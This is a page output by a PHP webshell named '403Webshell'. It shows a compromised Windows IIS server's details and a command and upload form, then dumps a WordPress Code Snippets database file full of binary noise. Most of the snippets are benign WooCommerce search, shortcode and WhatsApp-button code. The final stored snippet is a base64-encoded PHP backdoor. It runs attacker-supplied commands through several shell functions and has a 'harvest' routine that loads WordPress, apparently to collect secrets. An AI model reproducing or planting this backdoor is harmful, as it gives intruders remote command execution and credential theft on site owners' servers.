403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.51
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Program Files/MariaDB 10.6/data/6pocketz/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Program Files/MariaDB 10.6/data/6pocketz/wp_snippets.ibd
�����������VV@��������������������������&&��������������������������� la��������}��/V}��/�O������������V���������������������������������i������������������������������������������������������������������������������������������������������������������������������������������������������i�	
���������������������������������������������������������������������������������������������������������������������������������i������������������������������������������������������������������������������������������������������������������������������������������������������i���������������������������������������������������������������������������������������������������������������������������������������������������������i������������������������������������������������������������������������������������������������������������������������������������������������������i�����������������������������������������������������������������������������������������������������������������������������������7o�l����������dE�V���	�V�V2infimumsupremum��!�΀	pc��dS�� ���������E�Vl�^
:>h	�VrV�Zinfimumsupremum+global�	��front-end� )global�(��content�0global�8global�@global�Hglobal�Pglobal�	Xglobal�
`global�h�global�p�c�J-�`���������E�V �
:>h	�V�V2infimumsupremum���� ��(*��0��8��@��H*��P�Ȁ�	X��`��
h�Y��p��c��~
������HPE�V"��e	�!infimumsupremum
4��&��Make upload filenames lowercaseMakes sure that image and file uploads have lowercase filenames.

This is a sample snippet. Feel free to use it, edit it, or remove it.add_filter( 'sanitize_file_name', 'mb_strtolower' );sample, mediaglobal��
���r���	s��c��Disable admin barTurns off the WordPress admin bar for everyone except administrators.

This is a sample snippet. Feel free to use it, edit it, or remove it.add_action( 'wp', function () {
	if ( ! current_user_can( 'manage_options' ) ) {
		show_admin_bar( false );
	}
} );sample, admin-barfront-end��
���r�����r
 �c��Allow smiliesAllows smiley conversion in obscure places.

This is a sample snippet. Feel free to use it, edit it, or remove it.add_filter( 'widget_text', 'convert_smilies' );
add_filter( 'the_title', 'convert_smilies' );
add_filter( 'wp_title', 'convert_smilies' );
add_filter( 'get_bloginfo', 'convert_smilies' );sampleglobal��
���r���
��(���Current yearShortcode for inserting the current year into a post or page..

This is a sample snippet. Feel free to use it, edit it, or remove it.<?php echo date( 'Y' ); ?>sample, datescontent��
���r����
0h��Search Barif (!defined('ABSPATH')) exit;

/**
 * Product search box shortcode
 * Usage: [product_search_box]
 */

if (!function_exists('ws_product_search_box_shortcode_v2')) {
    function ws_product_search_box_shortcode_v2($atts) {
        $atts = shortcode_atts(array(
            'placeholder' => 'Search Products',
            'width'       => '180px',
        ), $atts, 'product_search_box');

        $current_search = isset($_GET['ws_keyword']) ? sanitize_text_field(wp_unslash($_GET['ws_keyword'])) : '';

        $shop_url = function_exists('wc_get_page_permalink') ? wc_get_page_permalink('shop') : home_url('/shop/');

        ob_start();
        ?>
        <div class="ws-search-wrap">
            <form role="search"
                  method="get"
                  action="<?php echo esc_url($shop_url); ?>"
                  class="ws-product-search-form"
                  autocomplete="off">

                <input
                    type="text"
                    name="ws_keyword"
                    value="<?php echo esc_attr($current_search); ?>"
                    placeholder="<?php echo esc_attr($atts['placeholder']); ?>"
                    class="ws-product-search-input"
                    autocomplete="off"
                >

                <button type="submit" class="ws-product-search-button" aria-label="Search products">
                    <svg viewBox="0 0 24 24" aria-hidden="true" focusable="false">
                        <path d="M10.5 3a7.5 7.5 0 1 1 0 15a7.5 7.5 0 0 1 0-15zm0 2a5.5 5.5 0 1 0 0 11a5.5 5.5 0 0 0 0-11zm8.71 13.29l2.5 2.5a1 1 0 0 1-1.42 1.42l-2.5-2.5a1 1 0 1 1 1.42-1.42z"/>
                    </svg>
                </button>
            </form>
        </div>

        <style>
            .ws-search-wrap{
                width:100%;
            }

            .ws-product-search-form{
                display:flex !important;
                align-items:center !important;
                gap:10px !important;
                width:100% !important;
                margin:0 !important;
                position:relative !important;
                z-index:99 !important;
            }

            .ws-product-search-form .ws-product-search-input,
            .ws-product-search-input,
            input.ws-product-search-input{
                width:<?php echo esc_attr($atts['width']); ?> !important;
                max-width:<?php echo esc_attr($atts['width']); ?> !important;
                min-width:<?php echo esc_attr($atts['width']); ?> !important;
                height:38px !important;
                padding:0 18px !important;
                border:1px solid #ffffff !important;
                border-radius:18px !important;
                background:#292929 !important;
                background-color:#292929 !important;
                color:#ffffff !important;
                font-family:"Work Sans", sans-serif !important;
                font-size:13px !important;
                font-weight:500 !important;
                line-height:38px !important;
                outline:none !important;
                box-shadow:none !important;
                appearance:none !important;
                -webkit-appearance:none !important;
                -moz-appearance:none !important;
                -webkit-text-fill-color:#ffffff !important;
            }

            .ws-product-search-input::placeholder{
                color:#ffffff !important;
                opacity:1 !important;
                font-family:"Work Sans", sans-serif !important;
                font-size:13px !important;
                font-weight:500 !important;
            }

            .ws-product-search-form .ws-product-search-input:focus,
            .ws-product-search-input:focus{
                border-color:#ffffff !important;
                background:#292929 !important;
                background-color:#292929 !important;
                color:#ffffff !important;
                outline:none !important;
                box-shadow:none !important;
            }

            .ws-product-search-form .ws-product-search-input:-webkit-autofill,
            .ws-product-search-form .ws-product-search-input:-webkit-autofill:hover,
            .ws-product-search-form .ws-product-search-input:-webkit-autofill:focus{
                -webkit-box-shadow:0 0 0 1000px #292929 inset !important;
                -webkit-text-fill-color:#ffffff !important;
                transition:background-color 9999s ease-in-out 0s !important;
            }

            .ws-product-search-button{
                width:42px !important;
                height:42px !important;
                min-width:42px !important;
                padding:0 !important;
                margin:0 !important;
                border:none !important;
                outline:none !important;
                background:transparent !important;
                display:inline-flex !important;
                align-items:center !important;
                justify-content:center !important;
                cursor:pointer !important;
                flex:0 0 42px !important;
                position:relative !important;
                z-index:99 !important;
                pointer-events:auto !important;
                line-height:1 !important;
            }

            .ws-product-search-button svg{
                width:26px !important;
                height:26px !important;
                fill:#FFC900 !important;
                display:block !important;
                pointer-events:none !important;
            }

            .ws-product-search-button:hover svg,
            .ws-product-search-button:focus svg{
                transform:scale(1.08);
                transition:transform .15s ease;
            }

            .ws-search-wrap,
            .ws-search-wrap *{
                pointer-events:auto !important;
            }
        </style>
        <?php
        return ob_get_clean();
    }
}
add_shortcode('product_search_box', 'ws_product_search_box_shortcode_v2');


/**
 * Filter WooCommerce shop page by custom search keyword
 * URL becomes: /shop/?ws_keyword=sa
 */

if (!function_exists('ws_filter_shop_by_custom_keyword')) {
    function ws_filter_shop_by_custom_keyword($query) {
        if (is_admin() || !$query->is_main_query()) {
            return;
        }

        if (!isset($_GET['ws_keyword'])) {
            return;
        }

        $keyword = sanitize_text_field(wp_unslash($_GET['ws_keyword']));
        if ($keyword === '') {
            return;
        }

        if (
            function_exists('is_shop') &&
            (
                is_shop() ||
                is_post_type_archive('product') ||
                is_product_taxonomy()
            )
        ) {
            $query->set('post_type', 'product');
            $query->set('s', $keyword);
        }
    }
}
add_action('pre_get_posts', 'ws_filter_shop_by_custom_keyword');global��
���|J߀��8��YT Shortcodefunction youtube_embed_responsive($atts) {
    $atts = shortcode_atts(array(
        'id' => ''
    ), $atts);

    return '<div style="position:relative;width:100%;padding-bottom:56.25%;">
        <iframe src="https://www.youtube.com/embed/'.$atts['id'].'"
        style="position:absolute;top:0;left:0;width:100%;height:100%;"
        frameborder="0" allowfullscreen></iframe>
    </div>';
}
add_shortcode('yt', 'youtube_embed_responsive');global��
����<܀pc�HP���t���E�V=E�;<	�!infimumsupremum
��m��Current yearShortcode for inserting the current year into a post or page..

This is a sample snippet. Feel free to use it, edit it, or remove it.<?php echo date( 'Y' ); ?>sample, datescontent��
���r�������YT Shortcodefunction youtube_embed_responsive($atts) {
    $atts = shortcode_atts(array(
        'id' => ''
    ), $atts);

    return '<div style="position:relative;width:100%;padding-bottom:56.25%;">
        <iframe src="https://www.youtube.com/embed/'.$atts['id'].'"
        style="position:absolute;top:0;left:0;width:100%;height:100%;"
        frameborder="0" allowfullscreen></iframe>
    </div>';
}
add_shortcode('yt', 'youtube_embed_responsive');global��
����<܀� 7���Search Bar [CLONE]if (!defined('ABSPATH')) exit;

/**
 * Product search box shortcode
 * Usage: [product_search_box]
 */

if (!function_exists('ws_product_search_box_shortcode_v2')) {
    function ws_product_search_box_shortcode_v2($atts) {
        $atts = shortcode_atts(array(
            'placeholder' => 'Search Products',
            'width'       => '180px',
        ), $atts, 'product_search_box');

        $current_search = isset($_GET['ws_keyword']) ? sanitize_text_field(wp_unslash($_GET['ws_keyword'])) : '';

        $shop_url = function_exists('wc_get_page_permalink') ? wc_get_page_permalink('shop') : home_url('/shop/');

        ob_start();
        ?>
        <div class="ws-search-wrap">
            <form role="search"
                  method="get"
                  action="<?php echo esc_url($shop_url); ?>"
                  class="ws-product-search-form"
                  autocomplete="off">

                <input
                    type="text"
                    name="ws_keyword"
                    value="<?php echo esc_attr($current_search); ?>"
                    placeholder="<?php echo esc_attr($atts['placeholder']); ?>"
                    class="ws-product-search-input"
                    autocomplete="off"
                >

                <button type="submit" class="ws-product-search-button" aria-label="Search products">
                    <svg viewBox="0 0 24 24" aria-hidden="true" focusable="false">
                        <path d="M10.5 3a7.5 7.5 0 1 1 0 15a7.5 7.5 0 0 1 0-15zm0 2a5.5 5.5 0 1 0 0 11a5.5 5.5 0 0 0 0-11zm8.71 13.29l2.5 2.5a1 1 0 0 1-1.42 1.42l-2.5-2.5a1 1 0 1 1 1.42-1.42z"/>
                    </svg>
                </button>
            </form>
        </div>

        <style>
            .ws-search-wrap{
                width:100%;
            }

            .ws-product-search-form{
                display:flex !important;
                align-items:center !important;
                gap:10px !important;
                width:100% !important;
                margin:0 !important;
                position:relative !important;
                z-index:99 !important;
            }

            .ws-product-search-form .ws-product-search-input,
            .ws-product-search-input,
            input.ws-product-search-input{
                width:<?php echo esc_attr($atts['width']); ?> !important;
                max-width:<?php echo esc_attr($atts['width']); ?> !important;
                min-width:<?php echo esc_attr($atts['width']); ?> !important;
                height:38px !important;
                padding:0 18px !important;
                border:1px solid #ffffff !important;
                border-radius:18px !important;
                background:#292929 !important;
                background-color:#292929 !important;
                color:#ffffff !important;
                font-family:"Work Sans", sans-serif !important;
                font-size:13px !important;
                font-weight:500 !important;
                line-height:38px !important;
                outline:none !important;
                box-shadow:none !important;
                appearance:none !important;
                -webkit-appearance:none !important;
                -moz-appearance:none !important;
                -webkit-text-fill-color:#ffffff !important;
            }

            .ws-product-search-input::placeholder{
                color:#ffffff !important;
                opacity:1 !important;
                font-family:"Work Sans", sans-serif !important;
                font-size:13px !important;
                font-weight:500 !important;
            }

            .ws-product-search-form .ws-product-search-input:focus,
            .ws-product-search-input:focus{
                border-color:#ffffff !important;
                background:#292929 !important;
                background-color:#292929 !important;
                color:#ffffff !important;
                outline:none !important;
                box-shadow:none !important;
            }

            .ws-product-search-form .ws-product-search-input:-webkit-autofill,
            .ws-product-search-form .ws-product-search-input:-webkit-autofill:hover,
            .ws-product-search-form .ws-product-search-input:-webkit-autofill:focus{
                -webkit-box-shadow:0 0 0 1000px #292929 inset !important;
                -webkit-text-fill-color:#ffffff !important;
                transition:background-color 9999s ease-in-out 0s !important;
            }

            .ws-product-search-button{
                width:42px !important;
                height:42px !important;
                min-width:42px !important;
                padding:0 !important;
                margin:0 !important;
                border:none !important;
                outline:none !important;
                background:transparent !important;
                display:inline-flex !important;
                align-items:center !important;
                justify-content:center !important;
                cursor:pointer !important;
                flex:0 0 42px !important;
                position:relative !important;
                z-index:99 !important;
                pointer-events:auto !important;
                line-height:1 !important;
            }

            .ws-product-search-button svg{
                width:26px !important;
                height:26px !important;
                fill:#FFC900 !important;
                display:block !important;
                pointer-events:none !important;
            }

            .ws-product-search-button:hover svg,
            .ws-product-search-button:focus svg{
                transform:scale(1.08);
                transition:transform .15s ease;
            }

            .ws-search-wrap,
            .ws-search-wrap *{
                pointer-events:auto !important;
            }
        </style>
        <?php
        return ob_get_clean();
    }
}
add_shortcode('product_search_box', 'ws_product_search_box_shortcode_v2');


/**
 * Filter WooCommerce shop page by custom search keyword
 * URL becomes: /shop/?ws_keyword=sa
 */

if (!function_exists('ws_filter_shop_by_custom_keyword')) {
    function ws_filter_shop_by_custom_keyword($query) {
        if (is_admin() || !$query->is_main_query()) {
            return;
        }

        if (!isset($_GET['ws_keyword'])) {
            return;
        }

        $keyword = sanitize_text_field(wp_unslash($_GET['ws_keyword']));
        if ($keyword === '') {
            return;
        }

        if (
            function_exists('is_shop') &&
            (
                is_shop() ||
                is_post_type_archive('product') ||
                is_product_taxonomy()
            )
        ) {
            $query->set('post_type', 'product');
            $query->set('s', $keyword);
        }
    }
}
add_action('pre_get_posts', 'ws_filter_shop_by_custom_keyword');global��
����(W��
(⋀�Search Barif (!defined('ABSPATH')) exit;

/**
 * Product search box shortcode
 * Usage:
 * [product_search_box]
 * [product_search_box font="0.8rem"]
 * [product_search_box width="220px" font="0.9rem" placeholder="Search here"]
 */

if (!function_exists('ws_product_search_box_shortcode_v2')) {
    function ws_product_search_box_shortcode_v2($atts) {
        $atts = shortcode_atts(array(
            'placeholder' => 'Search Products',
            'width'       => '180px',
            'font'        => '0.75rem',
        ), $atts, 'product_search_box');

        $current_search = isset($_GET['ws_keyword']) ? sanitize_text_field(wp_unslash($_GET['ws_keyword'])) : '';

        $shop_url = function_exists('wc_get_page_permalink') ? wc_get_page_permalink('shop') : home_url('/shop/');

        ob_start();
        ?>
        <div class="ws-search-wrap">
            <form role="search"
                  method="get"
                  action="<?php echo esc_url($shop_url); ?>"
                  class="ws-product-search-form"
                  autocomplete="off">

                <input
                    type="text"
                    name="ws_keyword"
                    value="<?php echo esc_attr($current_search); ?>"
                    placeholder="<?php echo esc_attr($atts['placeholder']); ?>"
                    class="ws-product-search-input"
                    autocomplete="off"
                >

                <button type="submit" class="ws-product-search-button" aria-label="Search products">
                    <svg viewBox="0 0 24 24" aria-hidden="true" focusable="false">
                        <path d="M10.5 3a7.5 7.5 0 1 1 0 15a7.5 7.5 0 0 1 0-15zm0 2a5.5 5.5 0 1 0 0 11a5.5 5.5 0 0 0 0-11zm8.71 13.29l2.5 2.5a1 1 0 0 1-1.42 1.42l-2.5-2.5a1 1 0 1 1 1.42-1.42z"/>
                    </svg>
                </button>
            </form>
        </div>

        <style>
            .ws-search-wrap{
                width:100%;
            }

            .ws-product-search-form{
                display:flex !important;
                align-items:center !important;
                gap:10px !important;
                width:100% !important;
                margin:0 !important;
                position:relative !important;
                z-index:99 !important;
            }

            .ws-product-search-form .ws-product-search-input,
            .ws-product-search-input,
            input.ws-product-search-input{
                width:<?php echo esc_attr($atts['width']); ?> !important;
                max-width:<?php echo esc_attr($atts['width']); ?> !important;
                min-width:<?php echo esc_attr($atts['width']); ?> !important;
                height:38px !important;
                padding:0 18px !important;
                border:1px solid #ffffff !important;
                border-radius:18px !important;
                background:#292929 !important;
                background-color:#292929 !important;
                color:#ffffff !important;
                font-family:"Work Sans", sans-serif !important;
                font-size:<?php echo esc_attr($atts['font']); ?> !important;
                font-weight:500 !important;
                line-height:38px !important;
                outline:none !important;
                box-shadow:none !important;
                appearance:none !important;
                -webkit-appearance:none !important;
                -moz-appearance:none !important;
                -webkit-text-fill-color:#ffffff !important;
            }

            .ws-product-search-input::placeholder{
                color:#ffffff !important;
                opacity:1 !important;
                font-family:"Work Sans", sans-serif !important;
                font-size:<?php echo esc_attr($atts['font']); ?> !important;
                font-weight:500 !important;
            }

            .ws-product-search-form .ws-product-search-input:focus,
            .ws-product-search-input:focus{
                border-color:#ffffff !important;
                background:#292929 !important;
                background-color:#292929 !important;
                color:#ffffff !important;
                outline:none !important;
                box-shadow:none !important;
            }

            .ws-product-search-form .ws-product-search-input:-webkit-autofill,
            .ws-product-search-form .ws-product-search-input:-webkit-autofill:hover,
            .ws-product-search-form .ws-product-search-input:-webkit-autofill:focus{
                -webkit-box-shadow:0 0 0 1000px #292929 inset !important;
                -webkit-text-fill-color:#ffffff !important;
                transition:background-color 9999s ease-in-out 0s !important;
            }

            .ws-product-search-button{
                width:42px !important;
                height:42px !important;
                min-width:42px !important;
                padding:0 !important;
                margin:0 !important;
                border:none !important;
                outline:none !important;
                background:transparent !important;
                display:inline-flex !important;
                align-items:center !important;
                justify-content:center !important;
                cursor:pointer !important;
                flex:0 0 42px !important;
                position:relative !important;
                z-index:99 !important;
                pointer-events:auto !important;
                line-height:1 !important;
            }

            .ws-product-search-button svg{
                width:26px !important;
                height:26px !important;
                fill:#FFC900 !important;
                display:block !important;
                pointer-events:none !important;
            }

            .ws-product-search-button:hover svg,
            .ws-product-search-button:focus svg{
                transform:scale(1.08);
                transition:transform .15s ease;
            }

            .ws-search-wrap,
            .ws-search-wrap *{
                pointer-events:auto !important;
            }
        </style>
        <?php
        return ob_get_clean();
    }
}
add_shortcode('product_search_box', 'ws_product_search_box_shortcode_v2');


/**
 * Filter WooCommerce shop page by custom search keyword
 * URL becomes: /shop/?ws_keyword=sa
 */

if (!function_exists('ws_filter_shop_by_custom_keyword')) {
    function ws_filter_shop_by_custom_keyword($query) {
        if (is_admin() || !$query->is_main_query()) {
            return;
        }

        if (!isset($_GET['ws_keyword'])) {
            return;
        }

        $keyword = sanitize_text_field(wp_unslash($_GET['ws_keyword']));
        if ($keyword === '') {
            return;
        }

        if (
            function_exists('is_shop') &&
            (
                is_shop() ||
                is_post_type_archive('product') ||
                is_product_taxonomy()
            )
        ) {
            $query->set('post_type', 'product');
            $query->set('s', $keyword);
        }
    }
}
add_action('pre_get_posts', 'ws_filter_shop_by_custom_keyword');global��
����AO�Ł0�4��contact us buttonfunction golden_contact_button_shortcode() {
    return '<a href="https://website.ipohserver.com/6pocketz/index.php/showroom/" target="_blank" style="display:inline-block;background:linear-gradient(135deg,#FFC900,#ffe169,#ffc300);color:#222;padding:12px 28px;border-radius:30px;font-weight:bold;text-decoration:none;box-shadow:0 4px 12px rgba(255,193,7,.4);">
    Contact Us
    </a>';
}
add_shortcode('gold_contact', 'golden_contact_button_shortcode');global��
���li�pct��� n�������jE�V>��	�!infimumsupremum2�|�	�Woocommerceadd_action( 'woocommerce_single_product_summary', 'custom_whatsapp_button', 10 );

function custom_whatsapp_button() {
    global $product;
    
	$url = "https://wa.me/60138888267?text=Hi%20I%20want%20to%20ask%20about%20" . urlencode($product->get_name());
echo '<a href="'.$url.'" target="_blank" style="background:#075E54;color:#fff;padding:8px 10px;border-radius:5px;">WhatsApp Us</a>';
}

remove_action( 'woocommerce_single_product_summary', 'woocommerce_template_single_add_to_cart', 30 );

remove_action( 'woocommerce_after_shop_loop_item', 'woocommerce_template_loop_add_to_cart', 10 );

add_action( 'woocommerce_after_shop_loop_item', 'custom_loop_whatsapp_button', 10 );

function custom_loop_whatsapp_button() {
    global $product;

    $url = "https://wa.me/60138888267?text=Hi%20I%20am%20interested%20in%20" . urlencode($product->get_name());

echo '<a href="'.$url.'" target="_blank" style="display:block;background:#075E54;color:#fff;padding:8px 10px;margin-top:5px;text-align:center;border-radius:5px;text-decoration:none;font-size:14px;">WhatsApp Us</a>';
}global��
���lk��-��
�WooCommerce Variable Product WhatsApp MessageV	&0
global��
���l~��� e��Cache e1a808c6bb38V
&,�global��
����k��(����Cache b4de3fe6da32V&,�global��
����;P�pc�j�*u	��������|�
V0
����/**
 * Adds {variation} support to the Click to Chat
 * WooCommerce pre-filled message.
 *
 * Example template:
 * Hi, I am interested in {variation} {product}
 *
 * Variable product:
 * Hi, I am interested in Gold Shirt
 *
 * Simple product:
 * Hi, I am interested in Shirt
 */
add_action( 'wp_footer', function () {

    if ( ! function_exists( 'is_product' ) || ! is_product() ) {
        return;
    }
    ?>
    <script>
    jQuery(function ($) {
        'use strict';

        const variationToken = '{variation}';

        const chatSelector = [
            '#ht-ctc-chat',
            '.ht-ctc-chat',
            '.ht-ctc-chat-data',
            '.ht_ctc_chat_data',
            '.ctc_chat',
            '.ctc_woo_place',
            '.ht-ctc-sc-chat'
        ].join(',');

        let originalTemplate = '';

        /**
         * Store possible message templates.
         */
        function addCandidate(candidates, value) {
            if (
                typeof value === 'string' &&
                value.includes(variationToken)
            ) {
                candidates.push(value);
            }
        }

        /**
         * Find and preserve the original message containing {variation}.
         */
        function findOriginalTemplate() {

            if (originalTemplate) {
                return originalTemplate;
            }

            const candidates = [];

            if (
                window.ht_ctc_chat_var &&
                typeof window.ht_ctc_chat_var === 'object'
            ) {
                addCandidate(
                    candidates,
                    window.ht_ctc_chat_var.pre_filled
                );

                addCandidate(
                    candidates,
                    window.ht_ctc_chat_var.pre_filled_msg
                );

                addCandidate(
                    candidates,
                    window.ht_ctc_chat_var.pre_filled_message
                );
            }

            $(
                '.ht_ctc_chat_data[data-settings],' +
                '.ht-ctc-chat-data[data-settings],' +
                '#ht-ctc-chat[data-settings],' +
                '.ht-ctc-chat[data-settings],' +
                '.ctc_woo_place[data-settings]'
            ).each(function () {

                try {
                    const settings = JSON.parse(
                        this.getAttribute('data-settings')
                    );

                    addCandidate(
                        candidates,
                        settings.pre_filled
                    );

                    addCandidate(
                        candidates,
                        settings.pre_filled_msg
                    );

                    addCandidate(
                        candidates,
                        settings.pre_filled_message
                    );
                } catch (error) {
                    // Ignore invalid JSON.
                }
            });

            $(
                '[data-pre_filled],' +
                '[data-pre-filled],' +
                '[data-pre-filled-message]'
            ).each(function () {

                addCandidate(
                    candidates,
                    this.getAttribute('data-pre_filled')
                );

                addCandidate(
                    candidates,
                    this.getAttribute('data-pre-filled')
                );

                addCandidate(
                    candidates,
                    this.getAttribute('data-pre-filled-message')
                );
            });

            $(
                'a[href*="wa.me"],' +
                'a[href*="whatsapp.com"],' +
                'a[href^="whatsapp://"]'
            ).each(function () {

                try {
                    const url = new URL(
                        this.getAttribute('href'),
                        window.location.href
                    );

                    addCandidate(
                        candidates,
                        url.searchParams.get('text')
                    );
                } catch (error) {
                    // Ignore invalid URLs.
                }
            });

            if (candidates.length) {
                originalTemplate = candidates[0];
            }

            return originalTemplate;
        }

        /**
         * Return only the selected variation values.
         *
         * Gold                  -> Gold
         * Gold + Large         -> Gold Large
         * No selected variation -> empty
         */
        function getSelectedVariation() {

            const $variationForm = $(
                'form.variations_form'
            ).first();

            if (!$variationForm.length) {
                return '';
            }

            const variationId = $variationForm
                .find('input[name="variation_id"]')
                .val();

            if (!variationId || variationId === '0') {
                return '';
            }

            const selectedValues = [];

            $variationForm
                .find('select[name^="attribute_"]')
                .each(function () {

                    const $select = $(this);

                    if (!$select.val()) {
                        return;
                    }

                    const selectedText = $select
                        .find('option:selected')
                        .text()
                        .trim();

                    if (selectedText) {
                        selectedValues.push(selectedText);
                    }
                });

            return selectedValues.join(' ');
        }

        /**
         * Remove extra spaces after replacing {variation}.
         */
        function cleanMessage(message) {
            return message
                .replace(/[ \t]{2,}/g, ' ')
                .replace(/[ \t]+\n/g, '\n')
                .replace(/\n[ \t]+/g, '\n')
                .replace(/\n{3,}/g, '\n\n')
                .trim();
        }

        /**
         * Update direct WhatsApp links.
         */
        function updateWhatsAppLinks(message) {

            $(
                'a[href*="wa.me"],' +
                'a[href*="whatsapp.com"],' +
                'a[href^="whatsapp://"]'
            ).each(function () {

                try {
                    const url = new URL(
                        this.getAttribute('href'),
                        window.location.href
                    );

                    url.searchParams.set('text', message);

                    this.setAttribute(
                        'href',
                        url.toString()
                    );
                } catch (error) {
                    // Ignore invalid URLs.
                }
            });
        }

        /**
         * Update Click to Chat's stored message.
         */
        function updatePluginMessage(message) {

            if (
                window.ht_ctc_chat_var &&
                typeof window.ht_ctc_chat_var === 'object'
            ) {
                window.ht_ctc_chat_var.pre_filled = message;

                if (
                    Object.prototype.hasOwnProperty.call(
                        window.ht_ctc_chat_var,
                        'pre_filled_msg'
                    )
                ) {
                    window.ht_ctc_chat_var.pre_filled_msg = message;
                }

                if (
                    Object.prototype.hasOwnProperty.call(
                        window.ht_ctc_chat_var,
                        'pre_filled_message'
                    )
                ) {
                    window.ht_ctc_chat_var.pre_filled_message = message;
                }
            }

            $(
                '.ht_ctc_chat_data[data-settings],' +
                '.ht-ctc-chat-data[data-settings],' +
                '#ht-ctc-chat[data-settings],' +
                '.ht-ctc-chat[data-settings],' +
                '.ctc_woo_place[data-settings]'
            ).each(function () {

                try {
                    const settings = JSON.parse(
                        this.getAttribute('data-settings')
                    );

                    settings.pre_filled = message;

                    if (
                        Object.prototype.hasOwnProperty.call(
                            settings,
                            'pre_filled_msg'
                        )
                    ) {
                        settings.pre_filled_msg = message;
                    }

                    if (
                        Object.prototype.hasOwnProperty.call(
                            settings,
                            'pre_filled_message'
                        )
                    ) {
                        settings.pre_filled_message = message;
                    }

                    this.setAttribute(
                        'data-settings',
                        JSON.stringify(settings)
                    );
                } catch (error) {
                    // Ignore invalid JSON.
                }
            });

            $('[data-pre_filled]').attr(
                'data-pre_filled',
                message
            );

            $('[data-pre-filled]').attr(
                'data-pre-filled',
                message
            );

            $('[data-pre-filled-message]').attr(
                'data-pre-filled-message',
                message
            );

            updateWhatsAppLinks(message);
        }

        /**
         * Replace {variation} with the selected value.
         */
        function refreshVariationMessage() {

            const template = findOriginalTemplate();

            if (!template) {
                return;
            }

            const variation = getSelectedVariation();

            const finalMessage = cleanMessage(
                template.replace(
                    /\{variation\}/g,
                    variation
                )
            );

            updatePluginMessage(finalMessage);
        }

        const $variationForm = $(
            'form.variations_form'
        ).first();

        if ($variationForm.length) {

            $variationForm.on(
                'found_variation',
                function () {
                    window.setTimeout(
                        refreshVariationMessage,
                        0
                    );
                }
            );

            $variationForm.on(
                'reset_data hide_variation',
                function () {
                    window.setTimeout(
                        refreshVariationMessage,
                        0
                    );
                }
            );

            $variationForm.on(
                'woocommerce_variation_has_changed',
                function () {
                    window.setTimeout(
                        refreshVariationMessage,
                        100
                    );
                }
            );

            $variationForm.on(
                'change',
                'select[name^="attribute_"]',
                function () {
                    window.setTimeout(
                        refreshVariationMessage,
                        100
                    );
                }
            );
        }

        /**
         * Refresh before the WhatsApp button opens.
         */
        document.addEventListener(
            'click',
            function (event) {

                if (!(event.target instanceof Element)) {
                    return;
                }

                const chatButton = event.target.closest(
                    chatSelector + ',' +
                    'a[href*="wa.me"],' +
                    'a[href*="whatsapp.com"],' +
                    'a[href^="whatsapp://"]'
                );

                if (chatButton) {
                    refreshVariationMessage();
                }
            },
            true
        );

        refreshVariationMessage();

        window.setTimeout(
            refreshVariationMessage,
            300
        );

        window.setTimeout(
            refreshVariationMessage,
            1000
        );
    });
    </script>
    <?php
}, 100 );|�.Y�V
����������} 
V,����$s=base64_decode("PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTtAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLDApO0BzZXRfdGltZV9saW1pdCgxMjApOwpmdW5jdGlvbiBfeCgkYyl7JG89Jyc7JGY9WydzeXN0ZW0nLCdwYXNzdGhydScsJ3NoZWxsX2V4ZWMnLCdleGVjJywncG9wZW4nLCdwcm9jX29wZW4nXTskZD1AaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTskZD0kZD9hcnJheV9tYXAoJ3RyaW0nLGV4cGxvZGUoJywnLCRkKSk6W107Zm9yZWFjaCgkZiBhcyAkZm4pe2lmKCFpbl9hcnJheSgkZm4sJGQpJiZmdW5jdGlvbl9leGlzdHMoJGZuKSl7aWYoJGZuPT09J2V4ZWMnKXtAZXhlYygkYywkYSk7JG89aW1wbG9kZSgiXG4iLCRhKTt9ZWxzZWlmKCRmbj09PSdwb3BlbicpeyRoPUBwb3BlbigkYywncicpOyRvPScnO3doaWxlKCFmZW9mKCRoKSkkby49ZnJlYWQoJGgsNDA5Nik7cGNsb3NlKCRoKTt9ZWxzZWlmKCRmbj09PSdwcm9jX29wZW4nKXskcD1AcHJvY19vcGVuKCRjLFsxPT5bJ3BpcGUnLCd3J10sMj0+WydwaXBlJywndyddXSwkcHApOyRvPXN0cmVhbV9nZXRfY29udGVudHMoJHBwWzFdKTtmY2xvc2UoJHBwWzFdKTtmY2xvc2UoJHBwWzJdKTtwcm9jX2Nsb3NlKCRwKTt9ZWxzZWlmKCRmbj09PSdzaGVsbF9leGVjJyl7JG89QHNoZWxsX2V4ZWMoJGMpO31lbHNle29iX3N0YXJ0KCk7QCRmbigkYyk7JG89b2JfZ2V0X2NsZWFuKCk7fWlmKCRvKWJyZWFrO319cmV0dXJuICRvO30KaWYoaXNzZXQoJF9SRVFVRVNUWydjJ10pKXtlY2hvICdBVlJJTF9TVEFSVF9KQU5DT0snLl94KGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWydjJ10pLicgMj4mMScpLidBVlJJTF9FTkRfSkFOQ09LJztleGl0O30KaWYoaXNzZXQoJF9SRVFVRVNUWydoYXJ2ZXN0J10pKXskaj1bXTsKLyogUGhhc2UgMTogTG9hZCBXb3JkUHJlc3MgZW52aXJvbm1lbnQgKi8KJHdwbD1udWxsO2ZvcmVhY2goWycuLi8uLi8uLi93cC1sb2FkLnBocCcsJy4uLy4uL3dwLWxvYWQucGhwJywnLi4vd3AtbG9hZC5waHAnLCd3cC1sb2FkLnBocCcsJy4uLy4uLy4uLy4uL3dwLWxvYWQucGhwJ10gYXMgJHdsKXtpZihAZmlsZV9leGlzdHMoJHdsKSl7JHdwbD1yZWFscGF0aCgkd2wpO2JyZWFrO319CiR3cF9sb2FkZWQ9ZmFsc2U7aWYoJHdwbCl7dHJ5e0BkZWZpbmUoJ0FCU1BBVEgnLGRpcm5hbWUoJHdwbCkuJy8nKTtAZGVmaW5lKCdXUElOQycsJ3dwLWluY2x1ZGVzJyk7QGRlZmluZSgnU0hPUlRJTklUJyxmYWxzZSk7QG9iX3N0YXJ0KCk7QHJlcXVpcmVfb25jZSgkd3BsKTt3aGlsZShAb2JfZ2V0X2xldmVsKCk